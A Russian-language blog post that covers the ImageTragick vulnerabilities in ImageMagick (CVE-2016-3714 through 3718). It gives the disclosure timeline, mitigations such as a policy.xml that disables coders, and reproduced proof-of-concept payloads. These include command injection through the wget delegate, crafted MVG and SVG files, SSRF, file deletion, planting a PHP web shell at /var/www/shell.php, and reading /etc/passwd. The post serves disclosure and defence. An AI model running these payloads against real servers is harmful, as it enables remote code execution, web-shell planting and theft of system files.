Несколько часов назад Ryan Huber из отдела безопасности Slack анонсировал некую критическую уязвимость в софте, используемом множеством сайтов. Этим софтом оказался ImageMagick — популярный пакет для обработки изображений.

Краткая информация об уязвимостях размещена на сайте imagetragick.com. Да, без названия и сайта для уязвимости не обошлось и в этот раз, хотя изначально Райан писал, что никакого пафоса, включая название и сайт, не будет. (есть ещё и твиттер)

Уязвимость была обнаружена stewie и раскрыта на hackerone 21 апреля в репорте, по всей видимости, Mail.ru, ибо примерно через неделю после этого Николай Ермишкин из команды безопасности Мэйла нашёл возможность выполнить RCE. Обо всём этом, само собой, сообщили команде разработки IM. Те 30 апреля выпустили фикс, но уже 1 мая им сообщили, что фикс немножко не фикс. Поэтому 2 мая уязвимость раскрыли в листе рассылки разработчиков пакетов, основанных на IM, а 3 мая уязвимость раскрыли публично. Спустя несколько часов после этого на openwall появилось подробное описание с примерами эксплойтов. Но об этом чуть ниже.

Прежде всего, стоит заметить, что ваш сайт (вероятно) подвержен этим уязвимостям не только если вы используете IM напрямую, но и через различные пакеты, включая imagick в PHP, rmagick и paperclip в Ruby и imagemagick в nodejs.

Как защититься?

Для того, чтобы хоть как-то защититься, предлагается сделать хотя бы одну из двух следующих вещей (а лучше — обе).

• прежде, чем отправить изображение на обработку в IM, проверить его «магические байты» — последовательность байт, по которой программы определяют формат файла. Да, расширение может не играть никакой роли, так как IM сам определяет формат именно по этой последовательности.
• включить конфиг, отключающий подверженные уязвимостям декодеры. Файл должен выглядеть так (обновлённая версия от 5 мая)

<policymap>
  <policy domain="coder" rights="none" pattern="EPHEMERAL" />
  <policy domain="coder" rights="none" pattern="URL" />
  <policy domain="coder" rights="none" pattern="HTTPS" />
  <policy domain="coder" rights="none" pattern="MVG" />
  <policy domain="coder" rights="none" pattern="MSL" />
  <policy domain="coder" rights="none" pattern="TEXT" />
  <policy domain="coder" rights="none" pattern="SHOW" />
  <policy domain="coder" rights="none" pattern="WIN" />
  <policy domain="coder" rights="none" pattern="PLT" />
</policymap>

Конфиги для IM обычно лежат в /etc/ImageMagick. alexkbs в комментариях подсказывает, что можно использовать convert -list policy, чтобы узнать, где лежит конфиг и увидеть список действующих ограничений. Для ansible напилили playbook, добавляющий этот конфиг.

Как уже говорилось выше, патч к IM уже готов, но он неполный. Дело в том, что, как отмечают исследователи, уязвимость была найдена хакерами ранее и уже вовсю эксплуатируется.

Подробности уязвимостей и эксплуатация

Из поста Карима Валиева (Мэйл) на openwall. Все PoC обещают разместить на https://github.com/ImageTragick/PoCs (пока что 404). UPD: выложили всё на https://github.com/ImageTragick/PoCs + простой скрипт для проверки локально.

CVE-2016-3714 Недостаточное экранирование символов, ведущее к возможному RCE

Тут проблема в том, то у IM есть фича delegate, при помощи которой IM позволяет обрабатывать файлы внешними библиотеками. По сути это вызов system() с командной строкой из файла delegates.xml. Одна из дефолтных команд

"wget" -q -O "%o" "https:%M"

где %M ссылка из входного потока. Например, можно прокинуть https://example.com"|ls "-la, что приведёт к выполнению ls -la (должны быть установлены wget или curl).

$ convert 'https://example.com"|ls "-la' out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

Хуже всего то, что IM поддерживает форматы типа
svg, mvg, которые позволяют включать внешние файлы через любые поддерживаемые «делегатами» протоколы.

(exploit.mvg)

push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|ls "-la)'
pop graphic-context

(exploit.svg)

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN"
"http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg width="640px" height="480px" version="1.1"
xmlns="http://www.w3.org/2000/svg" xmlns:xlink=
"http://www.w3.org/1999/xlink">
<image xlink:href="https://example.com/image.jpg&quot;|ls &quot;-la"
x="0" y="0" height="640px" width="480px"/>
</svg>

$ convert exploit.mvg out.png
total 32
drwxr-xr-x 6 user group 204 Apr 29 23:08 .
drwxr-xr-x+ 232 user group 7888 Apr 30 10:37 ..
...

Это сразу же напомнило мне про недавнюю уязвимость в ffmpeg, найденную cdump из того же Мэйла, кстати.

CVE-2016-3718 SSRF. Возможно выполнить HTTP GET и FTP запросы

(ssrf.mvg)

push graphic-context
viewbox 0 0 640 480
fill 'url(http://example.com/)'
pop graphic-context

$ convert ssrf.mvg out.png # выполнится HTTP запрос к example.com

CVE-2016-3715 Удаление файлов

При помощи псевдо-протокола ephemeral возможно удалять файлы.

(delete_file.mvg)

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'ephemeral:/tmp/delete.txt'
popgraphic-context

$ touch /tmp/delete.txt
$ convert delete_file.mvg out.png # удалит /tmp/delete.txt

CVE-2016-3716 Перемещение файлов

Используется другой псевдо-протокол — msl.

(file_move.mvg)

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'msl:/tmp/msl.txt'
popgraphic-context

(/tmp/msl.txt)

<?xml version="1.0" encoding="UTF-8"?>
<image>
<read filename="/tmp/image.gif" />
<write filename="/var/www/shell.php" />
</image>

/tmp/image.gif — картинка с PHP-шеллом внутри, например, https://www.secgeek.net/POC/POC.gif .

$ convert file_move.mvg out.png # переместит /tmp/image.gif в /var/www/shell.php

CVE-2016-3717 Чтение локальных файлов

Опять псевдо-протокол, на этот раз label. Можно рендерить содержимое файлов в картинки.

(file_read.mvg)

push graphic-context
viewbox 0 0 640 480
image over 0,0 0,0 'label:@/etc/passwd'
pop graphic-context

$ convert file_read.mvg out.png # создаст файл с текстом из /etc/passwd

Мета

• Dominique Bongard шутит, что предупреждал ещё в 2014 году. Вот так выглядит один из слайдов его доклада с BlackHat 2014:

• HD Moore советует использующим движок MediaWiki переключить генерацию превьюшек с IM на GD

  
  

• Seth Arnold пишет, что GraphicsMagick (форк IM, нацеленный на многопоточность и производительность), вероятно, подвержен тем же уязвимостям. Будем надеяться, команда GM проведёт аудит в ближайшие часы.
  UPD от kukutz: автор GM просит дать ему рабочий эксплойт и советует использовать переменную окружения MAGICK_CODER_STABILITY=PRIMARY

  
  
• На очередную претензию к названию и логотипу к уязвимости авторы ImageTragick ответили статистикой: обычный пост в блоге — сотни хитов в час, сайт с дурацким логотипом — тысячи хитов в минуту. Когда уязвимость уже эксплуатируется этот способ (брендирование), похоже, вполне оправдывает себя.

Пост будет дополняться с появлением новых подробностей.